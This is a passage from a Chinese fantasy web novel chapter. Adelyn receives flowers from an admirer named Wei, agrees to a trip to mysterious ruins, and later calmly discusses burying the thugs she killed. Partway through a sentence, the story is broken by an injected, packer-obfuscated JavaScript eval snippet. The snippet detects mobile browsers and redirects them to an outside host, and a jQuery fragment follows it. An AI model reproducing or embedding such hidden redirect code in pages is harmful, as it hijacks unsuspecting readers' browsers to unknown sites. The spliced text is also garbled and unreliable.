日落时分，海滨一角。
这边离港口很远，海岸线边布满礁石，斜阳静静冲刷浅滩。
好几个人聚集着。
爱德琳坐在伞下看夕阳。她慢悠悠地看，夕阳也慢悠悠下落。
天际偶尔响起一两声鸟鸣，此刻，爱德琳没有身在任何一份回忆中，而是真的，有一些自己在活着的实感。
芙伦如愿以偿穿上泳装，但是看看也穿着泳装的薇尼拉，又看看自己，然后不知怎的想到爱德琳曾经的情人，也是和薇尼拉很像的肌肉丰满型。因为是修行战斗的圣女，有腹肌什么的。芙伦突然有些不好的预感，
一方面又觉得不可能，干脆认认真真摆弄起烟花筒来了。
至于爱德琳旁边另一个干巴巴的精灵小孩嘛，芙伦觉得根本没可能。
薇尼拉和莎莎坐在爱德琳身边。下午爱德琳邀请玛利亚，玛利亚说没空，莎莎犹豫着，但还是同意了邀请。
于是现在四人一起等太阳落山后放烟花。
“爱德琳。我有话想问你。”坐着很久莎莎才说出第一句话。
“好，你问。”爱德琳也知道莎莎过来是有事。
“为什么要把我们关起来。我想知道……你是怎么想。”
“因为我是个收藏家。我什么都收藏。”爱德琳说。
“这不是一件残酷的事吗？”
“我不知道。只是我想，并且我能做到。”
两人对话时都无比平静看夕阳。
莎莎对这些回答沉默，沉闷气氛一阵阵被海风吹走，一阵阵源源不断被制造出来。
“所以，那些话，只是我们一直以为是你的玩笑。其实那只是一些可怕的事实。”
莎莎不再看夕阳，低下头，孤单地抱住自己双腿。
“是的。莎莎，我对你说过的话，没有一句是玩笑。而且我讨厌过后轻描淡写说，那些都是玩笑。所以那些都是真的。”
爱德琳想，这是她能给出的，最认真的回答。
“我知道了。”
夕阳还没落下，莎莎打算回去。玛利亚还在等她。
远处忽然跑来一个人，边跑边招手，喊着‘喂——喂——’跑到近前来了。
是奥汀。
奥汀气也不喘地停住，“你们果然在这，听队员说看见你们往这边走。”
“来得正好。”爱德琳点点头，其实她也有事，一指旁边座椅，对奥汀说，“坐。”
看夕阳队伍多了一个。
“有件事一直没有对你说，要向你道歉。”爱德琳慢慢说，“之前离开的恋正是你们一直在找的第三圣女，有各种各样的隐情没办法说，对不起。”
但奥汀完全不介意这件事，相反，她甚至松了口气：“没关系，嘿……其实我这也有事没说，我对找圣女不感兴趣，感觉事有猫腻不想掺合，但被熟人拜托了没办法，只好喊声大不作为像模像样混过去，之前甚至想被抓了正好有理由不管这事，想着干脆找条船打工算了，听你这么一说……幸亏我没掺合，哈哈哈。”
终于卸下负担的奥汀笑声爽朗，拍拍爱德琳肩膀，“我们也算认识了，我来是有事，我这边有个熟人想见你，就是借我们魔物拉车那位，不知你愿不愿意见见她？”
“好。”爱德琳答应。必要的接触是礼貌，她没理由不见这位要见她的人。
“那现在方便吗，她明天要出远门……如果你方便的话我立刻去叫她，她就在附近。”
现在？但人都来了……
爱德琳只点头：“好。”
见爱德琳答应，奥汀起身飞快跑走。
等了没一会，或许只有几分钟，爱德琳眼见她拉着一个人过来，那人一只手背在身后，被奥汀拽着带过来。
奥汀没过来，停在百步之外，那人可能是怕生，爱德琳收回目光不再盯着看。
脚步声接近。爱德琳想起身，可还没等她站起，脚步声突然加快，一大束鲜花挤到面前，成功阻拦想站起身的爱德琳。
……比人先到来的是花。
没错，五颜六色，盛开到极致的花，带着一点花香，还有夕阳余晖，落在爱德琳面前。
爱德琳没能起身，整个人被花挤着，后背紧贴椅子，陷在座位里，“………”
这段沉默作为开场白有些长。爱德琳悄悄用余光看向周围。
同行几人注意到这边动静，以芙伦为首，所有人都……莫名其妙干站着。
……没救了。
如今，是土地被有害魔力污染的时代，所以几乎没有多少地会用来种花，大部分都在种粮食，也就是说花不便宜。
而且难以获得。
那束花就在爱德琳面前。拿着它的人单膝跪地，这是一张难以分辨性别的英气面庞，燕尾服款款，长发垂落身后。
“我是维。角斗场船主。”
一开口，能听出是女性，声音低沉，好像是……刻意压低的？
“……”爱德琳微微抬起眼皮，“你好，我是爱德琳，之前的事谢谢你。”
这人干嘛？
让她想想，如果有人跪地献花下一步是什么……
爱德琳伸出一只手。但她牙齿紧咬着。
她祈祷，这个人最好别亲她的手。
维轻轻接过那只手，低头，亲了一下。
爱德琳稍微抬起的眼皮回原处。
还好，这人没真的亲上来。
花束挪开，维整张脸暴露在爱德琳面前。
维红着脸，没有抬头，声音变得有些小，“我……我第一次亲一个人，还是亲手。”
爱德琳保持微笑：“可是你没有亲到我啊。”
要命，这是怎么回事？
维的脸更红：“那，那只是个形式，我喜欢你！几天前在角斗场看见就喜欢你了！”
爱德琳保持礼貌：“请你先起来。”
堵着她的花终于挪开。
眼前跪着的人起身，和爱德琳一样高。
如果说芙伦是少女身高，芙伦只到爱德琳胸前。
这个时代的人普遍不会很高，可能是魔力太少，
但维和爱德琳一样高，甚至可能，比爱德琳还要高点。
是风度翩翩的青年女性。
爱德琳开始感到麻烦。她注意到维的燕尾服腰间别着剑。
也对，这是奥汀认识的人，估计也是个战士……什么的。
那会不会好解决？比如决斗赢了协约让对方忘记这件事……
“请问，你是剑士？”
维坐在爱德琳对面，双眼发亮盯着她，“不，我并不是战斗型。我是个商人，佩剑只是装饰。”
“……”哦，不行。
会变成她单方面殴打人。
爱德琳重新调整措辞，问：“你喜欢我什么？”改她是不会改的，这事和她没关系。但她仍旧可以做点什么，让麻烦的人忘记这件事。
“前几天角斗场上，我看见你了！你真的很帅气！”维肉眼可见紧张，“那个，那个，听说你之后晕倒了，要不要紧？”
“……不要紧。”爱德琳在想办法，“能问吗，角斗船是怎么回事？”就这样先找个话题。
“你感兴趣吗！”维露出明亮笑容，“那个是我家的产业，平时为公国服务，负责作为这片地区的监狱场所，因为海边陆地紧缺，船在海上空地要多少有多少！哦对了，奥汀是我姐姐。”
爱德琳大概也猜到，眼前之人估计也是公国贵族什么的，“你们是贵族？”
维摇头：“现在不是。我的母亲生前是封地贵族，三年前母亲过世，身份被亲戚继承走了，我们夺回了一部分产业。”
爱德琳忽然有些无奈：“如果你想追求我，或许该把自己的身份说得厉害些。”
维眼里装满爱德琳，狭长眼睛弯了弯：“可我不想对你撒谎，我喜欢你。”
爱德琳微笑：“谢谢你的帮忙，但我对你无感。”
维吃了闭门羹却不气馁：“我知道，感情需要培养，所以，所以……可不可以请你和我约会！”
“……”爱德琳让自己的笑长在脸上，此刻她已经不抱希望一旁呆若木鸡的几个人救一下场，她知道芙伦肯定是在看好戏，“很抱歉不行，我有要做的事，很急。”
薇尼拉不记得被抓走的事，线索还是得她自己找，而且……还有那些遗迹。
怎么……会这样呢？
“我从奥汀那里听到一点，抱歉没有经过你的允许……”维的脸更红，每句话斟酌着说出口时小心又紧张：“奥汀说你在找你的瓶子，我会努力帮你找的！”
爱德琳只想快走：“……谢谢。”谁走都行。
“虽然想说让我们明天就见面，但接下来几天我要和两名学者去考察遗迹……你会一直在这里吗！”
爱德琳被眼巴巴看着，听眼前之人说出临别赠言般台词，本意想快走，“……遗迹？”
“嗯，嗯！就在几天前，你们从平原回来之后，那时我是想见你的，可是去了也帮不上忙……那之后各地出现了很多遗迹，离这里最近的一处在……”维说着说着忽然停住，她说，“抱歉，你是不是……对这些不感兴趣，我说起来没完会惹你讨厌。”
“不，我很感兴趣，你慢慢说。”如果那些遗迹有用，她会考虑潜行进去。
“真的吗！”维见爱德琳很感兴趣，开始滔滔不绝起来，
“从这里沿海向东三天路程抵达峡谷镇，遗迹在峡谷上方，地处两国边境，原本是当地的封地贵族负责，嗯……我对它们感兴趣，用了些外交手段把考察任务揽到自己名下，因为是在边境，可能会遇见黄金之国的人，所以必须快点赶过去，目前已经从这边聘请两位学者一同前往，明天就出发。”
原来，是这么回事。爱德琳明白了。怪不得奥汀说这个人急着见她。
遗迹啊……
爱德琳看看芙伦，芙伦刚才还是看好戏的样子，这会不太高兴，大概是想起过去她们的基地小到只能自己种菜来吃的日子。
“你们，有没有雇佣护卫？”虽然现在没有能源遗迹不会活过来，以防万一，还是问一下好了。
“需要吗？我们走水路过去，抵达后和当地官员对接，不会遭遇拦路抢劫一类，”维不解，“我们没听说遗迹中有危险。只是有很多学者说它们蕴含上个时代的力量，并且试图从中推测上个时代是什么样子。”
“最好带上。”爱德琳说。
说是遗迹，其实是上个时代那些幸存者的基地，她记得，当时还有些人在用科技研究什么，谁知道会不会有东西突然发作。
维看看她，马上把视线挪开：“那个……那个，你是冒险者，而且和我一样对遗迹感兴趣。可不可以……请你跟我们同去！当然，你可以带上人！”
爱德琳没有立刻答应：“……请让我考虑。”
维点点头。
爱德琳问：“对了，你知不道遗迹为什么出现？”
遗迹的事，排在找到人后面，或者。
如果哪里的遗迹出了事，爱德琳才会赶过去查看。
如果遗迹没有任何能源，过去了也是白费。
只会浪费她宝贵的时间。
维这次摇头：“是突然出现，我们也不清楚……”
“嗯，嗯……能不能打断一下，”坐在维身旁的薇尼拉好像有话要说。
“你说？”爱德琳忽然有种预感。
薇尼拉小声解释：“我感觉是……它很像被神圣魔法干扰，神圣魔法中有一部分是对土地使用，但是我们一般会好好控制力道，不会让土地深处的东西出来……”
“……”原来，是这么回事。
不光爱德琳，周围一圈几个人都清楚了。
第三圣女那家伙……！一定是趁她们睡着时做了什么？！
“所以……如果，如果不处理的话，情况会变得更糟，说不定，说不定会有亡灵冒出来……”薇尼拉声音越来越小，“所以，所以我能不能过去。我得解决这件事。”
……亡灵。
啊，亡灵啊。
要知道，自从进入魔法复兴时代，爱德琳几乎不曾听见这个词，亡灵借由魔力驱动，本身不具备意识，不视为活着的生灵。这个时代魔力衰微，据爱德琳所知，至少在她身边从未见过亡灵诞生。相应地，如果它们一旦诞生……势必是前所未有的强大存在。
那个。
那个再也不会变成人类形态出来的瓶子。
面对可能会遭遇的处境，薇尼拉甚至不抱期待，这个刚被抓走过的备选圣女打算一个人去，完全没有依靠同伴的意思。
呵，这怎么行。这么好的机会，如果真的有亡灵出来。
爱德琳没什么表情，她的脸永远是柔和的：“不可以，薇尼拉，我们会跟你过去。”
爱德琳看看芙伦：“你一定会去，是不是？”
“丢下我看家，想都别想。”芙伦有点恶意地笑了。
维很高兴：“那你答应了！”
“是的，但……人多，只有我一个恐怕不行。”爱德琳看向莎莎，“……莎莎，你那边，不，你有打算和我一起去吗？”
莎莎这次没有同意，也许……面对爱德琳还是让她感到艰难。
莎莎低着头：“我不过去了。我给你问问玛利亚，你需要人手，我可以说动她跟你去，我留下继续探听消息。这样吧，你们决定明天出发的时间地点，明天玛利亚会在那等你们。”
爱德琳也不能对此说什么：“……好。”
“那，决定啦！我来写出发时间和地点。”维当场拿出小本子和笔，写好后撕下给爱德琳和莎莎，“费用我这边……”
爱德琳打断摇头：“不必了，我们有一些事要处理，不如说是搭你们的顺风车。”一旦签订协议就会变成正式工作，很麻烦。不行。
莎莎也说：“玛利亚会理解的，我们不能把上次……的事就这放么放着不管，她不会收取费用。”
维更高兴了，红着脸小声念，“所以，所以这是约会！”
爱德琳：“……”装作没听见。
薇尼拉非常小心地询问维：“请问……你的母亲，是不是曾是王国法师团首席法师，第三领地的领主贝斯特拉女士？”
维回答平和：“是的。但是在过去，现在第三领地由我的姑妈克里西姆掌管。”
薇尼拉局促不安：“那个，那个，过去的事我们很抱歉，因为王的主和政策，加上那个时候我们以为贝斯特拉女士的两位孩子下落不明……”
“嗯，没关系的。这些年我听过很多类似的话，”维甚至没有叹气，她看看真的很紧张的薇尼拉，静静微笑：“请放心，第二圣女阁下，我无意向外透露你的身份，以目前我的立场来看不惹麻烦是最佳选择，不论你是否回归，我不会让消息从我这里走漏。”
“……谢谢。”薇尼拉原本不安的目光落在地上，轻声说。
夕阳在交谈中彻底落下，沙滩上陷入漆黑。
“那，那我先走了，明天见！”维起身告辞。
“我也要赶快回去。”莎莎也准备离开。
“嗯。慢走。”爱德琳站着对两人挥手。
两道身影消失在夜幕中。
薇尼拉轻轻拽拽爱德琳衣袖：“是不是，是不是给你添麻烦了？”
“没关系，”爱德琳说，“而且……你让我有点意外。”她以为薇尼拉至少要过段时间才能恢复过来。
“因为……因为是圣女的工作。但我不想回去，所以只能偷偷过去，如果路上买票时被认出来，就没办法回来了……”
“嗯。我理解。”
“满意了？”芙伦凑到爱德琳身边笑嘻嘻问，“以前你可不会这么给自己找事，上次如果不是那帮杂碎占了我们的基地，你也不会搬家，结果你那个情人……”
“芙伦。”爱德琳静静凝视芙伦，
“你在故意惹怒我。”
芙伦被看着，撇撇嘴，“我这是想和你说，没准遗迹就是过去那些基地。”
“我知道。”爱德琳沉声，“以防万一，去看看吧。”哪怕只有一丁点线索，或者什么都没有。她不会任由自己错过。
芙伦跑开，跑到她的烟花旁边：“随你～现在碍事的人剩下一个，我们来点烟花吧！说真的，这比上个时代我们能找到的材料充足多了，会是很不错的引爆。”
夜晚的海比白天宁静，但也波涛汹涌。
很多很多年前，爱德
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697943|173441||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
琳看过比这更深更宽广的海。
“嗯。”
芙伦欢呼着点燃引线，跑到爱德琳身边。
数道火光沿着海面飞跃，在海上绽放，点亮一片又一片海面。
大海表面相继亮起，亮起。
复而黯淡。
光会亮，也会消失。
就像……那些。
她的旧日时光。
爱德琳拿出一个小瓶子。芙伦把烟花棒伸到她面前，极其好心地递给薇尼拉一支。
那个瓶子。
瓶中，水手服少女在夜空下放烟花。
时间在这一刻定格，映照着瓶外星空下跳跃的烟花，好像，小小的火光，从过去，点燃到现在。
“……她是谁？”芙伦问。
“天水。”爱德琳静静说，“在你和海布被封印后，遇见的一个孩子。”
“孩子。”芙伦嗤笑，“你这个孩子得加引号，那时怎么会有新的小孩诞生。”
“……嗯。”
爱德琳却没有说再多。
芙伦也不问，拍拍手，“烟花放完了。我们回去？”
“好。”
不管是桌椅还是伞，等会都会有租赁的店家来收。
三人慢悠悠往回走。
芙伦抱着那束花。
薇尼拉走在后面。不说话，只是跟在后面。
夜路好像不是那么长。就这样慢慢走，
也到了家。
房子里点亮灯火，光芒是夜里最震荡人心的点缀。
门前灯下，芙伦抱着花打量，灯光投落她的影子，在院中甬道上拉得很长，
“这些花还有根，我能帮你种在院子里。”
爱德琳笑了笑，她想起上个时代芙伦负责在基地里研究农作物，“好，就窗下吧。”
于是，窗下点起蜡烛，爱德琳靠在窗边，向外看芙伦挥舞铲子挖土。
芙伦……可说相当熟练。
把薇尼拉看得吃惊，她看看两人，不太确定这能不能……问。
芙伦倒是不介意，边刨土边说，“上个时代我可是种了几百年菜，你要是种地几百年，也会变成这样。”
薇尼拉有些受宠若惊，问：“你……你不是一个巫师？”
“那当然了。我是个化学家，兼职做巫师而已。”芙伦一点不在乎蹭到自己手上的土，开始处理花的根，
“实际上，散布瘟疫才是我擅长的事，研究农作物和肥料也是。”
薇尼拉的吃惊已经表露出一切，芙伦目的达成，同时不忘嘲讽爱德琳。
“我是个化学家，偶尔当巫师。整个科技时代，我都在给你研究那该死的农作物培育和种植，还有那些化肥。爱德琳，你真该对我说声谢谢，多亏了我，我们在那样小的地方蜗居几百年，除了人肉还有蔬菜可以选择。”
爱德琳笑：“芙伦，在我想提起那些事前，你最好不要开口。”说着，她想到什么，于是问，
“刚刚我被人送花，你看得很开心？”
“一般般。”芙伦想也没想回答，“黛约过去送你的花比这多多了。”
“你不奇怪怎么会发生这种事？”反倒是爱德琳自己纳闷。
“我都见过你被人求婚，这有什么可大惊小怪。不过，她真肤浅。如果她知道你过去杀死过神，真不知道……”处理花茎的芙伦忽然抬头，眯起眼睛，
“她还敢不敢和你约会。”说完，芙伦心情颇好地大笑，细致认真把花种进土里。
于是爱德琳知道，芙伦不喜欢维。或者干脆说讨厌。但爱德琳不知道为什么。
“为什么？”她这么问。
即便没有任何前因后果，芙伦也知道爱德琳想问什么：“花是无罪的，我喜欢花。”
咔！
铲子在土中戳到硬东西。
“石头……？”芙伦又往下挖了挖，她发现那个东西有些长，铲子往旁边偏离挖不到，所以……又长又细？
“喂爱德琳，你院子下面有东西。”
爱德琳瞥一眼窗下，沉思起来，不确定地说：“应该是骨头。”
芙伦把那个东西从土中彻底挖出来，真的是一截骨头，看着像大腿骨，而且比较新鲜，还没有开始腐烂，说明是近十几年埋下，不禁奇怪：“你又不种菜，要肥料做什么？别说你主动杀人，我知道你懒得找别人麻烦。”
爱德琳回忆不久前的事，一群黑袍人形象浮现脑海，“这片土地上任统治者据说和地下势力勾结，帮派猖獗过一阵子，二三百年吧，后来这任统治者上位开始整治，命令各个领地贵族征召执法者，到现在有十几年，执法者就是这样来的，一开始主招法师，最近才改招普通人。帮派么……主要是巫师和武斗狂。家家户户要交保护费。说起来我除掉过不少上门收保护费的，太久远的烂光了，最近的还存着。虽然房子有障眼法，不会太引人注意，但对挨家挨户上门不起作用。”
“啧。”听爱德琳说完，芙伦露出嫌恶，掏出个瓶子浇在骨头上，骨头化作一滩水溶解，正好做肥料，“区区几个巫师打手，你还交保护费？”
“是啊，只要交钱能免去麻烦。不过叫着小姐让我们去屋里坐坐这种，还是杀掉更好。但这个时代杀完不能光明正大摆在架子上晒干，抛到大海又麻烦……”
芙伦不满大呼：“所以你就埋自己房子底下？！爱德琳，你又不是食人族，勤快点好不好！你变得比科技时代更懒了！”
“……”爱德琳看着芙伦围绕房子洒药水，语气淡淡，“我又没什么好办法，入乡随俗。”
薇尼拉真的做到了。爱德琳和芙伦说话，她就站在一旁，擦擦桌子，为两人泡杯茶。其实……她觉得这样很好。听爱德琳谈起过去，那些她不知道的，爱德琳的过去。
感觉非常好。
芙伦围绕房子一周，确定所有地方都洒满药水才重新回来蹲下，但嘴上忍不住抱怨：“要不是科技时代一来，杀人机器比人还多，食人族都饿死了，你娇气地说我不要吃人，逼着我研究化肥种菜……”芙伦小小声嘀咕，“你真娇气哦。真不知道这些年没人帮你打扫，你是怎么走过来。”
爱德琳静静注视芙伦，培土时低眉顺目的少女也像某种花，伴随风起摇曳：“嗯，我逼你的。人太脏，不合胃口。还有，打扫我也会做，只是有别人做就不想动手。”
火光被风吹动，芙伦种好所有的花，从身上掏出比刚刚更精致的小瓶子，得意洋洋摇晃：“你看，当初你封印我那样急，化肥都还没来得及扔掉。等着瞧好了，这些花绝对会活得很好。”
爱德琳伸出手，“起来吧，芙伦。去洗澡。”
芙伦去洗澡了。
爱德琳和薇尼拉在桌边喝茶。
薇尼拉只敢盯住自己面前那一小块桌面看，“抱，抱歉，我是不是打扰你们……”
这两人之间用默契也不足以形容，就像是……知晓彼此的一切。
“没有。”爱德琳说，“你别这么想。我们是仇人，嗯……最好的仇人。她知道我，我也知道她。她只是在伺机报复我罢了。”
“那，那为什么？”薇尼拉更不解了，怎么会有人允许仇人无时无刻不在自己面前？
“如果她不在我眼前，会做更多不利于我的坏事，与其那样，还不如盯着她。”爱德琳慢慢解释。
所以……陶瓷之国崩落后，那场与神的战争后。她拉着芙伦，带着海布，三人一起走向下个时代。
“会不会……会不会累？”薇尼拉问。
“还好。”爱德琳目光落在茶杯里，茶叶在杯中沉浮，她的影子也在，“我想，还好。”
因为，这是个延续几千年的习惯。
除了海布，芙伦是陪伴爱德琳最久的人。
她有什么……不能习惯呢？
夜晚在芙伦洗完澡后结束。
薇尼拉和两人道了晚安，走回到专门为她收拾出的客房去。
曾经，也有人在这个房间休息。
躺着好一会。
芙伦问，
“另一个吹风机是谁的？”
“她叫兰米司，曾经是这片土地的女王。”
芙伦想到那个小瓶子，“精灵？”
“嗯。”